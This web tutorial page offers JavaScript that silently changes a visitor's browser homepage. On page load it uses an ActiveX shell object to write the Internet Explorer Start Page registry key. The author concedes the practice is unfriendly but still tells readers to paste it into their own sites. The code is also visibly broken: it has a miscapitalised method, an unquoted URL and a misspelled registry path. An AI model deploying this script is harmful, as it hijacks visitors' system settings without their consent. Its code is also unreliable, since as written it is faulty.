Home  >  Article  >  Web Front-end  >  js forces the URL to be the default homepage_javascript skills

js forces the URL to be the default homepage_javascript skills

WBOY
WBOYOriginal
2016-05-16 15:37:391548browse

The editor does not recommend using this function. After all, it is an unfriendly behavior for web browsers. Okay, let’s get down to business:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>强制设为首页</title>
<script type="text/javascript">
var ucook = document.cookie;
var user = ucook.indexOF("ilooki=");
if (user == -1) {
  var nowTime = new Date();
  document.cookie = "ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear())+1903+"12:34:56 GMT";
  document.write("");
  function yuzi() {
    try {
      a1 = document.applets[0];
      a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
      a1.createInstance();Shl = a1.GetObject();
      a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
      try {
        Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",
        http://www.jb51.net);
      }
      catch(e) {
      }
    }
    catch(e) {
    }
  }
  setTimeout("yuzi()", 1000);
}
</script>
</head>
<body>
</body>
</html>

To use, please replace the URL with your own URL, and then copy the code to your web page.
This article is just a technical study, giving you an idea. I hope it can help you and inspire you to learn javascript programs.

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn